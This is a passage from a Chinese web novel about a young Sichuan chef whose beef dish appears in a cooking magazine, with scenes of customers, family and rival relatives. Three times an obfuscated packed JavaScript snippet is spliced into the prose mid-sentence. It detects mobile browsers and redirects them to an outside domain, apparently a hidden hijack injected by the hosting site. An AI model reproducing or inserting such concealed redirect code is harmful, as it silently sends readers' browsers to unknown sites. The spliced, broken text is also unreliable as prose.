**凑近了些，压着声音道：“老汉，你之前不是说想买邱家老宅吗？我们今天吃饭的时候，看到邱奶奶、段小姐和一位老爷子一起吃饭，听他们聊天，好像是邱奶奶的朋友。你说，邱奶奶不愿意去香江，会不会和那位老爷子有关？” “还有这种事？”黄鹤闻言一下子来了精神。 邱家老宅他的确挺感兴趣的，位置确实好，之前还托人打听过消息，只说段小姐放出要卖的消息，但最后还是得邱老太点头才行。 价格是一万块钱左右。 不便宜，但就地段和面积来说，也不算太贵。 “莺莺，你为啥会觉得和那老爷子有关呢？”黄鹤问道。 “女人的直觉。”**一脸笃定道：“那老爷子的目光骗不了人，他看邱奶奶是那种宠溺的感觉。感觉他们应该认识很久了，但又不是腻歪的那种情感。” “有吗？”黄兵一脸迷茫，“我怎么没看出来啊？” “你光看人家孙女去了，能看到啥。”**给他翻了个白眼。 “那……人家确实漂亮嘛。”黄兵挠头，还有点不好意思。 “收起你的非分之想啊！段小姐可不是你配得上的。”黄鹤瞪了他一眼，“人家出门都带着保镖的，防的就是你这种乱七八糟的家伙。” “老汉，我哪里乱七八糟了嘛？”黄兵一脸无辜。 黄鹤不理会他，满眼赞赏地看着**道：“莺莺，还是你有观察力，回头我去找段小姐谈谈，看能不能找到突破口，把邱家老宅买下来。事情要是办成了，你想要啥子奖励我都满足你。” “肯定又要巧克力或者是新的洋娃娃噻。”黄兵说道。 **一脸认真道：“老汉，我想来店里打工，以后等你和妈退休了，我好来给你们**。” “啊？”黄鹤一脸意外的看着她，认真思索片刻后点了点头：“要得，你来嘛，干中学。” “不是，**你要来接手饭店？”黄兵一脸懵，那他以后要是想努力了，回家继承什么啊？ **看着他，露出了一丝轻蔑的笑容。 我愚蠢的哥哥啊。 世子之争，素来如此。 …… 来福在周砚车后座的背篼里垫了厚厚的稻草，然后把两板刚做好的豆腐连同木框框小心翼翼地装进去，在旁边也垫上稻草。 “这一看就避震效果良好。”周砚笑着点头。 姨婆本来是让来福给他背到店里去的，但周砚觉得驴车拉得，他自行车一样拉得，免得来福来回跑一趟，又是一个小时的功夫。 他这会拿走二十斤豆腐，估计来福今晚还得加班。 “周砚，垫了稻草也不是万无一失，颠簸的路一定要小心慢骑，碎了你不好做菜。”孙老太的声音从院子里传了出来。 “好，颠簸的路我下来推起走。”周砚应了一声，“姨婆，那我就先回去了。” “要得，你慢慢走。”孙老太回道。 小路全是碎石子和坑洼，周砚推着车往前走。 来福就在旁边跟着，等上了大路，周砚骑车离去，他才转身返回。 周砚小心翼翼地骑着，精神高度集中，大坑小坑一律避开，遇上避不开的坑，就下车推着走。 姨婆说的没错，豆腐碎了不好做麻婆豆腐，这么好的豆腐，浪费了多可惜。 平时骑车十分钟的路程，周砚晃晃悠悠骑了二十分钟。 把车推进店里，周砚立马把背篼里的豆腐抱了一板出来，揭开纱布一看，完好无损，一条缝都没裂开。 “你自己把豆腐运回来的？”老周同志他们也刚好回来，见背篼里还有一板豆腐，有些惊讶。 “坑洼多的地方就下来推着走，路况好就骑，半推半骑，一点没碎。”周砚笑着道，把两板豆腐抱进厨房，出来把麻婆豆腐的牌子从估清区摘下挂回原位。 周淼伸手拨了一下背篼里厚厚的稻草，“这些稻草不要丢，明天我去把豆腐也一起运回来，免得来福背来。” “要得，明天是四十斤豆腐。”周砚应了一声，也觉得这样挺合适。 买驴的事，周砚等豆腐的时候和孙老太提了一嘴，老太太对此非常赞同，等把他的钱还完了，准备攒钱重新买头驴。 以前有驴的时候，他们一家三口，一天最多能做两百多斤豆腐，豆腐都卖到嘉州去了。 眼瞅着日子越过越好，一场横祸把儿子、儿媳一起带走，家就这么破了。 好在来福肯学肯干，得到周砚的帮助后，又重新走上了正轨。 如今孙老太可有干劲了，连给来福存彩礼的计划都想好了。 人活着，就得有奔头。 “你奶奶说，给你爷爷去扫墓的时间确定下来了，也在周日。到时候先去扫墓，回来在我们这里吃晚饭刚好合适。”赵嬢嬢和周砚说道。 “周日，要得。”周砚点头，看来周日打算来聚餐的客人，又要哀嚎遍野了。 相比于周日多挣一顿饭的钱，那当然还是去给爷爷扫墓更重要。 对于老周家来说，这算的上是每年最重要的事情。 除了参军回不来的，其他所有人都要到场。 周砚看了眼时间，转身进厨房开始备菜。 如今段语嫣那边已经确定，邱家老宅可以卖给他，一万块钱只要攒够，立马可以交易。 那没什么好犹豫的了，努力挣钱，努力存钱就行。 就是破圈这任务吧，他还需要好好考虑考虑怎么做，纺织厂员工之外的顾客，在苏稽镇上，也就只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“沫沫，这些哥哥姐姐是你带回来的？”周砚忍不住看着周沫沫问道。 周沫沫乖巧点头：“我给哥哥姐姐们尝了一点，他们都觉得好吃，问我哪里买的，我就带他们过来了。锅锅，这样不好吗？” “好！简直太好了！”周砚笑着一把将她高高举起，“你简直是个天才销冠！” “好玩！”小家伙咯咯笑，“还要举高高！” 周砚跟她玩了一会才放下。 “八个娃娃凑了四角钱。”周淼笑着道。 “两角、三角都卖给他们，就当买点零食吃嘛，给他们多装点都要得。”周砚说道，小朋友的零花钱，少挣点无所谓。 打出名气来，说不定这破圈任务能快点完成。 周砚先前还在为这任务烦恼，没想到周沫沫倒是给她找到了方法。 “要得。”老周同志点头。 纺织厂下班铃声响起，自行车流很快从大门涌了出来。 “妈妈，前两天沫沫妹的锅锅新出的卤素菜可好吃了！” “卤腐竹好香哦，卤藕也好吃，我们今天点一份吧，我想吃。” 林景行和林秉文一左一右牵着孟安荷的手往饭店走来，已经开始推荐和撒娇。 孟安荷今天穿了紧身黑色羊毛衫和灰色半身长裙，看起来依旧干练洋气。 她中午才从蓉城回来，来厂里和林志强打了声招呼，就去接两个孩子放学，直奔周二娃饭店吃晚饭。 这段时间常来周砚的饭店吃饭，把嘴巴有点养刁了，总觉得食堂的饭菜差点意思。 建筑院的食堂可是出了名的好吃，主厨是二级厨师，尤其擅长做烧菜。 所谓由俭入奢易，由奢入俭难，大概就是这个意思。 “点嘛，我也尝尝周砚做的卤素有多好吃，能让你们俩念念不忘。”孟安荷笑着道。 “安荷！”林志强推着自行车从厂大门出来，冲着三人招手。 “你们先进去占位子，看还有没有麻婆豆腐，有的话就点一份，我听他们说，周砚今天新推出的麻婆豆腐好吃得很！”林志强和孟安荷说道，“我先去停车。” “麻婆豆腐他都会做？”孟安荷闻言有点意外，带着两个孩子往店里走去。 “安荷回来了啊。”赵铁英看到孟安荷，熟络地招呼道。 “对，今天中午回来的。”孟安荷笑着点头，目光落在一旁的菜单墙上，“赵姐，我要一份麻婆豆腐，一份红烧排骨，再要一份卤素菜拼盘……” “要得，你们坐嘛。”赵铁英拿出纸笔刷刷记下。 “沫沫妹妹！看我给你带了啥子，一颗弹珠！” “哥哥给你带了一颗巧克力。” 林景行和林秉文兄弟俩已经跑去跟周沫沫玩了，一口一个妹妹，叫的可热情了。 “麻婆豆腐还有吗？”林志强进来在孟安荷身旁坐下，笑着问道。 “点了。”孟安荷点头，笑吟吟地看着他：“还给你点了一份跷脚牛肉。” “说实话，我现在就算不吃跷脚牛肉，我也完全不得虚。”林志强靠近她，信心满满地说道。 “那我喊赵姐给我们取消了。”孟安荷转身。 林志强抬手道：“算了算了，你点都点了，我就勉为其难的吃一碗，两个娃娃刚好也可以喝点汤。” 孟安荷嘴角微微上扬，三十多岁的男人，全身上下嘴巴最硬。 “那怎么还放了本杂志？”林志强换了个话题，目光落在菜单墙上立着的那本杂志上。 赵铁英闻声回头笑着应道：“周砚做的跷脚牛肉上了杂志封面，还有篇专访，摆在这里留个纪念。” “周砚上杂志了？” 两人闻言都有些意外。 “周砚这么厉害的？我看看！”林志强起身去把杂志拿了过来，笑着道：“这封面还真是跷脚牛肉，换了个碗装，我都没能一眼看出来。” (本章完) 第180章 影响力结算中（月票加更1233） 第180章影响力结算中…（月票加更1233） 林志强拿着杂志回来坐下，孟安荷立马凑过来看了一眼，惊讶道：“《四川烹饪》杂志，这杂志还挺专业的，我们办公室主任很喜欢看，每期必订，说是要跟着学做菜。” “嗯，一水的一级、特级厨师，看着确实挺专业的。”林志强翻开目录，跟着点头。 “这里，第十八页。”孟安荷伸手一指，已经找到了跷脚牛肉这一篇文章。 林志强快速翻页，看到文章开头配的照片，两人都笑了。 “这张照片倒是拍的不错，显高，也足够英俊，这美食杂志的拍照水平比你们建筑行业杂志的高得多。”林志强笑道：“上回给你拍的那张，后来印出来脸都看不清，完全浪费了你的美貌。” “我还精心画了个全妆，气死老娘！”孟安荷也是咬牙道。 两人接着往下看，不时点头，嘴角都带着笑。 “你上回不是问我怎么给你姐姐回信吗？我看都不用多说，直接买本《四川烹饪》杂志给她寄过去，让她自己看就行了。”林志强笑着说道：“你看嘛，既有周砚的照片，又有他做的菜的照片，还有专业人员对他品格的概括，具体的案例说明。” “你和我说这些，你姐可能还怀疑我们有吹嘘的成分，现在好了，一本第三方的专业美食烹饪杂志专访，专业又客观。” “你不说我都忘了，这次上去天天赶项目进度，信都没给我姐回。”孟安荷笑着点头，“挺好，就给她寄一本杂志过去，这专访确实写的挺好的，有许多我们都不知道的内情在里边。 周砚真是一个肯刻苦钻研的年轻人，就他重现跷脚牛肉这份毅力，就已经胜过大多数年轻人了。” “才二十岁就上行业专业杂志的专访，周砚将来肯定会在厨师行业大展身手，你看吧，小小苏稽，绝对不是他的终点。”林志强笑容中带着几分得意，他可是一直都非常看好周砚。 孟安荷把杂志前后翻了几页，轻轻合上，点头道：“我承认，这次你比我看得准。二十岁上行业专业杂志，而且这跷脚牛肉还只是他擅长的其中一道菜。菜单上的其他川菜，水平不弱于蓉城那些高档餐厅的大厨，将来必定会扬名立万。” 她不是厨师，之前很难对周砚的水平做出一个准确判断。 但她是经常上行业杂志的建筑师，翻看了几篇文章，就能大概判断这本杂志的专业性。 在一众一级、特级厨师的教学专访中，周砚这篇文章的含金量不言而喻。 而且周砚恢复的是一道菜的传承，并且给出足够高的立意和渊源，这篇文章甚至认为跷脚牛肉可能会成为嘉州美食的新名片。 这可是相当高的评价。 已经超越了一般厨师做好一道菜的范畴。 以她的经验来说，周砚能够凭借这篇专访在行业中崭露头角。 哪怕短时间内无法给他带来直接的经济效益，等他将来去嘉州，乃至于蓉城开店的时候，这篇专访便是他的敲门砖。 出名这种事，对于大部分人来说，都是可遇而不可求的。 多少老厨师干了一辈子，都不一定能有机会登上杂志，在行业里留下自己的名字。 周砚不过二十岁，便已经有了一篇两页的专访，做的菜还登上了杂志封面。 她收回之前遗憾周砚没上大学的想法，能在一个行业里专精，学历也就没那么重要了。 周砚不过是少在学校读了几年书而已，但他的谈吐、认知、书法、专业技艺，都是受到认可的。 就他们家来说他，夏瑶和林志强对他相当推崇，认为他有着非常超前的认知，对事物有着独特的看法。 两个小家伙对他的厨艺，则是五体投地，恨不得认他当哥哥。 “来，你们的麻婆豆腐和红烧排骨。”赵红端着菜出来，放在桌上。 “景行、秉文，来吃饭，吃了再和妹妹玩。”孟安荷开口，把杂志合上递给林志强，“放回去，免得弄上油污。” “哦。”两个萝卜头应了一声，屁颠颠跑过来坐下。 林志强把杂志放回菜单墙，也是重新坐下。 一家人的目光都落在了那份刚出锅还冒着热气的麻婆豆腐上。 “好红啊！是不是辣的？”林秉文有点纠结。 “好香啊！这豆腐是肉烧的，看着就好吃！”林景行吞了吞口水，遇事不决，先给自己盛了碗饭，一边拿起勺子舀豆腐，一边说道：“弟弟，哥哥先帮你尝尝，要是太辣的你就别吃了。” “嗯嗯。”林秉文点着脑袋，拿起筷子先夹了一根腐竹送到嘴里。 “这麻婆豆腐做的，倒是有模有样的，看着跟去年去陈麻婆豆腐吃的差不多。”林志强看着道。 “嗯，确实挺像的，看着比我们食堂师傅做的好。”孟安荷也是点头，他们食堂有个厨师是从陈麻婆豆腐调来的，做的麻婆豆腐颇为正宗，是食堂的明星菜，几乎每天都会做一大锅，每天同事们都抢着打。 看林景行张着大嘴就要把一整块豆腐往嘴里扒拉，孟安荷连忙开口道：“烫！刚出锅，吹一吹再吃。” 可惜林景行的嘴更快，说话间已经把一整块豆腐扒拉到嘴里，眼睛一下子瞪圆了，张着嘴巴呼着气，舌头乱晃，给豆腐紧急降温。 烫！ 确实好烫！ 牙齿一碰，舌头一搅，滑嫩的豆腐立马就在嘴里化开了。 还没等他把豆腐吐掉，麻辣鲜香随即登场，竟是把烫的痛觉都压制了几分。 这下，他舍不得了。 好香啊！ 麻麻辣辣的，好吃！ 他紧急扒拉了一口米饭降温，香甜松软的米饭压住了舌尖上的麻辣感觉，与麻婆豆腐交融，越嚼越香。 “哥哥，辣吗？好吃吗？”林秉文盯着他问道。 “辣**，而且超级烫，弟弟，你肯定吃不了的，这种痛苦，就让哥哥来替你承受吧。”林景行一边说道，一边拿着瓢羹给自己又舀了两勺麻婆豆腐到碗里。 “哥，你真是个好人。”林秉文一脸感动。 孟安荷看了眼自己愚蠢的小儿子，无奈摇头，也舀了一勺麻婆豆腐到碗里，夹成两半小口吹了吹，这才喂到嘴里。 刚出锅的麻婆豆腐，确实很烫，不过味道着实不错！ 麻辣鲜香，酥嫩浑烫！ 这一口当中，已经囊括了所有。 调味比他们食堂那位厨师做的还要更加鲜明，却又融合的更完美。 再配上一口米饭，更显美味。 “这麻婆豆腐好正宗哦！感觉和陈麻婆豆腐的没什么区别，甚至味道还要更鲜活一些。”林志强已经忍不住惊叹： “这牛肉臊子太香了，汤汁感觉用的牛骨汤，融入了牛肉臊子的酥香，被嫩豆腐吸收之后，又被芡粉给紧紧裹住，最后再撒上一层薄薄的花椒粉，浑然一块。” “这红油里面除了豆瓣和辣椒粉，感觉还有豆豉的香气，各种味道完美融入到这一口豆腐之中，简直香迷糊了！” “配上一碗米饭，吃起来简直太美味了。不对不对，应该说是……巴适得板！” 林志强的有感而发，听得旁边正在点菜的客人们直吞口水。 副厂长吃了都给出这般高的评价，那这麻婆豆腐必须点啊！ “老板，我们要点一份麻婆豆腐！” “我们这里也要一份！” 客人们纷纷点单，几乎一桌一份。 后边排队的客人急了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241880|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙问道：“嬢嬢，麻婆豆腐能不能给我们留一份啊！我还没有吃过呢。” 赵嬢嬢把第四个正字最后一笔画上，有些抱歉地笑着道：“乖乖，最后一份已经点出去，只能等明天了。” 说完，把麻婆豆腐的牌子挂入估清区。 后边排队的客人顿时一阵叹气。 麻婆豆腐太有名气了！ 蓉城名菜，历史悠久，没吃过也有所耳闻。 只是苏稽根本吃不到正宗的，就连国营饭店的也被人吐槽根本不算麻婆豆腐。 如今周砚做的麻婆豆腐广受好评，大家自然想要尝尝看。 八角钱那么大一份，里边还有牛肉臊子，半荤素的菜，这价钱可是一点都不贵！ “周砚太有水平了，做啥都像模像样的。”林志强感慨道。 孟安荷正在吃卤腐竹，黛眉微微上挑，眼睛睁大了几分，漂亮的脸上满是惊艳之色，嚼了嚼咽下，惊叹道：“这腐竹好好吃哦！豆香和荤香交融，软而不烂，越嚼越香，我从来没有吃过这么好吃的腐竹呢！” “妈妈，我最喜欢吃腐竹了。”林秉文给她碗里夹了一块豆干：“你尝尝，豆干也超好吃的哦！” 正埋头干饭的林景行瞥了他一眼，也跟着夹了一块藕放到她碗里：“妈，你尝尝这个藕，又脆又好吃。” “好，我都尝尝。”孟安荷笑盈盈道，先尝了豆干，又吃了藕，连连点头道：“嗯，豆干也很香，嫩的像鸡蛋干一样，藕也好吃，又脆又香。” 两个儿子闻言，都咧嘴笑了。 “过两天上去，我带两盒卤味给他们尝尝，单独给方主任带份卤素菜，她还挺喜欢吃腐竹的，每个星期都要跑一趟城北买卤素菜，我觉得远不如周砚做的好吃。”孟安荷说道。 “行啊。”林志强点头，又问道：“方主任跟你关系那么好，要不要给她再带个猪蹄给她女儿吃？” “带卤素菜就行了，东西多了，人家还以为你有啥事要求人家办。”孟安荷摇头。 “好，那我等会跟小周说一声，让他到时候给你留着，腐竹可是畅销品，每回都是最早被买空的。” …… 天色渐黑。 周村村口的大树下燃起了一堆火，今天格外热闹，男男女女、老老少少围着烤火摆龙门阵。 “泽哥，听说老四的儿上杂志了啊？还上啥子专访啊？” “真的假的！今天在地里就听到他们摆了，周砚才学两三年厨师的嘛。” “大家都煮汤锅，怕是没那么凶哦。” 村里今天的话题，主要集中在周砚登上杂志这事。 在村里，这可是大新闻。 村里去年考了两个大学生，也就在嘉州日报上被提了一嘴，连名字都没露。 作为老周家的代表，周泽今天早早吃了晚饭，在树下的青石上占了个醒目的位置，一言不发地听着大家议论，嘴角都能挂俩油壶了。 侄子争气，还不是一样有面！ 见众人的目光纷纷**而来，周泽清了清嗓子开口道：“《四川烹饪》杂志封面刊登我们家周砚做的跷脚牛肉，第十八页和第十九页是杂志社副主编对他的专访。 前面一页是特级大师教大家刀法，后面一页是一级大厨教大家做小煎鸡，你们说这个含金量怎么样？ 要我说，这和当上厨状元也没得啥子区别……” …… 周砚炒完最后一份猪肝，长舒一口气，解了围裙正要出厨房门，眼底弹出一条消息： 【支线任务：上一期《四川烹饪》杂志已完成！影响力结算中……】 【任务奖励：视影响力决定奖励稀有度！】 加更求月票~！ (本章完) 第181章 稀有奖励：【鱼香肉丝】（62k二合一 第181章稀有奖励：【鱼香肉丝】（6.2k二合一） 周砚脚步一顿，这支线任务倒是被他给忘了。 不过这影响力结算中是什么意思？ 还在结算《四川烹饪》杂志发行的后劲？ 所谓影响力，就是看传到哪了吧。 算起来，这新一期发行三天了，估摸着该买的都买了。 照理来说，今天不结算，明天应该也要结算。 也不知道奖励是什么，胃口被这么一吊，倒是有些期待。 周砚希望它能传播的广泛一点，给他爆个稀有度高一些的奖励，比如高端菜品啥的。 哪天去嘉州，他打算再买几本杂志回来。 这两天来店里吃饭的客人，看到菜单墙上放着的杂志，都忍不住手痒会去翻一翻，然后对着他一通夸夸。 别说，还挺爽。 因为杂志的缘故，这两天点跷脚牛肉的客人都增加了一些。 专业杂志背书，原本平平无奇的跷脚牛肉，似乎一下子显得高端上档次了。 六毛钱的价格，突然变得有些亲民。 甚至还有常吃跷脚牛肉的熟客，特意问周砚上了杂志会不会涨价的。 包涨的，不过肯定不是今年。 这六毛钱就能吃一碗跷脚牛肉的日子，过不了两年了。 “锅锅，你看我的弹珠。”周沫沫跑过来，献宝一样举起一颗玻璃弹珠，“秉文锅锅给我的他。” “嗯，看着真漂亮。”周砚笑着摸了摸她的头，小家伙的皮衣已经被赵嬢嬢换回了小花袄，帽子也在柜台后挂着。 那么好的衣服，要分场合穿，被她穿去玩梭梭板，很快就能在皮衣上开两道口子。 周砚换了身衣服出门跑步。 半道碰上刚出门的林志强，两人一路小跑闲聊。 “小周，下个星期一中午，你给我留两斤卤素菜嘛，我老婆带给她同事尝尝味道，特别是卤腐竹，给她留半斤。”林志强说道。 “没问题林叔，一定给你留着。”周砚笑着应道，孟姐要的货，肯定得给安排妥当。 “恭喜你上杂志啊，才二十岁就上行业杂志，未来可期啊。”林志强满是赞赏地看着周砚，“我第一回上报纸，都三十岁了。” “林叔是靠技术创新登报见刊，拿的都是省级、国家级的大奖，跟我这种美食杂志完全不是一个层次的。”周砚笑着说道，“您啊，可太抬举我了。” “有什么不一样，大家都是在各自行业里发光发热。”林志强摆手，正色道：“你把跷脚牛肉从一张破损的菜谱，完美复刻，还对工艺进行了升级改进，这不一样是技术创新。这文章写得真不错，让我们这些外行都能看得懂你的厉害之处。” 周砚听完老脸一红，当初现编的故事，从熟人嘴里夸出来，多少还是有点尴尬。 “可能你都没有意识到，这就是你的履历啊，在行业里留下姓名，以后别人提起嘉州大厨，就绕不开苏稽周砚。”林志强笑着说道：“将来要是跷脚牛肉能走出苏稽，真如那文章所说，成为嘉州名菜，那业内提到这道菜，就会想起你，这才是这篇专访的含金量。” 周砚若有所思的点头，这般深层次的思量，确实是他没有考虑到的。 他一开始只是想上个杂志，给自己的小饭店打个广告，将来去嘉州也好有块敲门砖。 林志强话头一转：“对了，过两天有个大客户要来厂里考察，厂长让我负责接待，你说我带他吃点什么，能让他印象深刻，增强他的签约意愿？” “林叔不是分管技术的吗？怎么还负责起接待了？”周砚有些意外。 “国外来的客户，二代华侨，厂里会英语的不多，厂长担心有交流障碍，级别不够又怕对方觉得怠慢，就让我来负责了。”林志强笑容中透着几分无奈，“我一个搞技术的，哪懂什么接待啊，但这事确实没人能顶，我也只能硬着头皮上。” “哪国的华侨？祖籍又是哪的？”周砚问道。 “美国的，祖籍据说是杭城的。”林志强笑着说道：“厂长会让我接待，还有一个原因，就是安荷老家是浙省的，觉得我更能了解一些。” 周砚略一思索道：“很多华侨会保留一些生活习惯，周叔出国留过学，应该比我更清楚这点，那这位客户的口味偏向浙省的话，会相对清淡一些，你按着孟姐的口味来一般不会错。如果不是他自己主动要求，尽量带他吃清淡一些的食物，免得对方不适应。” “对方是商人，可以带他去拜拜乐山大佛，经商之人，很多都愿意拜一拜。甚至还可以跑一趟峨眉山，爬完一定让他印象深刻。” “纺织厂的产品是一方面，把对方陪好、玩好，应该能让对方的签约意愿更强一些。” 林志强听完连连点头，“有道理，还是你考虑的周到。” 跑完一身汗回到饭店，周沫沫正坐在灯下画画，老周同志坐在一旁，手里拿着把蒲扇帮她赶蚊子，平日冷峻的脸上带着憨笑。 这两天的秋蚊子，寿元将尽，极其疯狂。 周砚睡眠质量这么好的人，昨晚硬是被咬醒了三回。 跟蚊子打了一宿，最后平手，它没吃饱，周砚也没睡好。 “画什么呢？”周砚走过去一看，画上是一辆小汽车，车边站着一个戴着帽子的长腿姑娘，旁边还有一个扎着双辫子，同样戴着帽子的小姑娘。 蜡笔作画，谈不上精致，但色彩搭的太漂亮了，碰撞出来的画面感，竟是这般鲜活。 周砚对画没什么鉴赏能力，但好不好看是一种感觉。 这画，他就觉得挺好看的。 “是语嫣姐姐吖。”周沫沫抬头看着他，笑眯眯道：“下回她来了，我就送给她。” “你倒是小小年纪就知道礼尚往来了，明天我给你买个相框给它框起来送人。”周砚笑道，他已经能想到段语嫣看到这画会有多高兴。 “锅锅，瑶瑶姐姐还没有给你写信吗？”周沫沫大眼睛里满是期待，“我好想她啊，我们什么时候去山城看她呢？明天行不行？我画了两张画送给她呢。” “明天可去不了，店里太忙了，咱们还没有去山城旅游的条件。”周砚笑着摇头，小家伙可真敢想，也真敢说。 再说了，他跟夏瑶只能算笔友，贸然跑到山城去见她，多少显得有点冒昧。 周砚想着，过两天去祭奠爷爷，顺道转到嘉州去买几本杂志，到时候给夏瑶寄一本。 林叔说的没错，这是可遇而不可求的事，值得分享。 这比一天挣三百，说出去要让人觉得有水平和内涵一些。 “那她会来看我们吗？”周沫沫又问道。 “可能……会吧。”周砚的语气没那么确定。 夏瑶还在为明年毕业后的就业方向而烦恼，放了寒假肯定是要回杭城过年的，大四下学期忙着实习和找工作，更不可能来苏稽了。 “好的，那下次你给她写信的时候，要跟我说哦，我要把我的画给她。”周沫沫低头继续画画。 “好的。”周砚笑着应了一声，上楼拿衣服去洗澡。 …… “周坤坤，你还笑得落屋呢？我以为你打牌就能把肚皮打饱呢！”高翠花坐在堂屋里，斜眼看着进门来的丈夫。 “大晚上的吃枪药噻？”周坤坤愣了一下，进门先把桌上的盖子解开，看着盘子里中午剩下的半盘咸菜，叹了口气：“饭呢？吃桌子啊？” “老子莫不是你家佣人吗？你出去打一天牌，回家就要干饭，你没长手还是没长脚嘛？你一天人丑嘴不甜，长得稀撇还没得钱，想的倒是美得很。”高翠花两手一叉腰，瞪着周坤坤道： “你晓不晓得赵铁英她老公，给她买了两个金耳环，还是老凤祥！你说，我怎么就没这么好的命呢？我明明哪里都不比他差的嘛？” 周坤坤缩了缩脖子，嗫嗫道：“周老四的房子塌了都没钱修，怎么可能给他婆娘买金耳环嘛，你莫要听别人乱摆，我们关起门来过好自己的日子比啥子都重要！” “锤子！劳资自己看到的！这么大个，把劳资眼睛都快闪瞎了！”高翠花一拍桌子，桌上的盘子都跳起半尺高。 门外传来动静，周亮亮和吴桂花走进门来，看了眼缩在一旁的周坤坤，咧嘴笑道：“老汉儿，打牌又输了？” “你笑个铲铲！人家周砚煮个汤锅都上杂志封面了，你龟儿子煮了三年汤锅，一天卖不出去几碗，你说你一天到晚到底在干啥子？”高翠花目光一转，盯住了周亮亮，声音一下子提高了几分：“马上又要到过年，你龟儿裤裆头有好多钱？借你的钱啥时候能还给我？别个都是一年比一年好，你呢？一年比一年老！” 周亮亮不笑了，求救的目光瞄了一眼身旁的媳妇。 吴桂花转身就走：“我去做饭啊！” “妈，你说周砚上杂志？啥子杂志吗？他就开个小饭店，还能有这么凶？”周亮亮硬着头皮说道。 高翠花怒气汹汹道：“人家照片都印在上面，还能有假！说是啥子跷脚牛肉，就是把汤锅改了个名字，他们说生意好的批爆，一天能卖一百多碗。” 周亮亮点头道：“这个倒是真的，周杰他们现在也换了招牌，叫周记跷脚牛肉，六角钱一碗的跷脚牛肉，一天差不多要卖一百碗，另外还要卖一二十斤卤猪头肉。” 高翠花闻言眼睛都瞪圆了：“那要挣好多钱哦！” “一天少说也是三十多块钱，一个月就是一千多，一年就是一万……”周亮亮也是倒吸了一口凉气。 周坤坤惊道：“一年挣个万元户出来啊！卖个汤锅挣这么多啊！” “周海和周杰一人分一半，那也是半个万元户啊。”周亮亮喃喃道，这账还真是不能细算。 “那周砚他们一家岂不是挣的更多！难怪又是金耳环，又是上海牌手表，做的新衣服，穿的新皮鞋！”高翠花气得牙痒痒，看着周亮亮问道：“你们现在卖汤锅又卖面条，一天能挣好多钱？” “好点能挣六七块，撇点也有四五块，比以前是好多了。”周亮亮说道。 “怕是连周砚的零头都没得。”高翠花叹气，想到赵铁英今天那得意的嘴脸，越想越气。 周坤坤却是突然眼睛一亮：“周记跷脚牛肉！这招牌他们用得，我们也用得噻！她说跷脚牛肉是我们周村传承下来的名菜，我们还不是姓周！这名字一改，说不定客人就要往我们这里来。” “有道理啊！”周亮亮闻言也是忍不住拍手，他不去纺织厂门口跟周砚打擂台，就在码头上好好摆摊。 跷脚牛肉听起来是比汤锅更特别一些。 周砚上了杂志，那就是出名了噻。 那他们就跟着沾沾光！ “要得！我们也改名！”高翠花同样两眼放光，“放开手脚干！你们要是忙不过来，我跟你老汉也来帮你们！到时候钱分我们一半就行！” “好！我今天晚上就把招牌改了！” …… 川美，教室。 今天早上第一节是苏峻教授的课，邓虹和夏瑶、朱玉玉坐在中间的位置。 夏瑶正在认真听课，手里的钢笔在本子上刷刷写着笔记，一旁的朱玉玉也是听得十分认真。 邓虹瞅了眼正在写板书的苏老师，从书包里抽出一个油纸包，小心撕开封口，抽出了一本杂志。 作为一名资深吃货，自从四川烹饪创刊之后，她一期不落，今天上课前刚把第四期领了，还没来得及拆。 苏老师今天上的理论课，讲得挺好，就是有点无聊，她决定给自己找点乐子，看看大师们又分享什么做菜小妙招，还有川渝各地都有什么美食，下回去写生或者旅行，也能提前做做功课。 她已经和马星野约好了，放寒假后不急着回家，他们俩先出去旅行一趟，玩够了再各自回家过年。 离放假就剩一个多月，她得提前做做攻略，下周去厂里实习，可没学校那么清闲自在。 杂志封面一如既往地精美，彩印的封面，一只精美的青花瓷盆盛着一碗清澈的牛肉汤，粉嫩的牛肉、扬起一角的毛肚看着就很脆，晶莹的牛筋瞧着就软糯，旁边还配了一碟干辣椒面。 等等…… 这牛肉汤看着怎么有点眼熟啊？ 邓虹的眼睛都睁大了几分，看了眼身旁努力学习知识的姐妹，犹豫了一下还是没敢打扰，翻开杂志封面，很快找到了封面标注——跷脚牛肉。 “还真是跷脚牛肉！”邓虹手一颤，快速扫过目录，很快在四名揽胜栏目中找到了： 牛肉新吃法——苏稽跷脚牛肉……何志远（18） 邓虹的手微微颤抖，呼吸都随之加重了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241881|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分，快速翻到第十八页，看到配图后，眼睛瞪圆了几分，捂住嘴不让自己发出声音，伸手轻轻扒拉了一下身旁的朱玉玉。 朱玉玉下意识回头，便看到了邓虹递过来的杂志，看到照片和标题后，眼睛也是一下子瞪大，下意识张嘴。 邓虹眼疾手快，一把捂住了她的嘴，低声道：“姐！上课呢，别喊！” 朱玉玉乖巧点头，邓虹这才收回手，俩人凑一起，把专访给看完了，抬头对了一下眼神，都从对方的眼里看到了震惊。 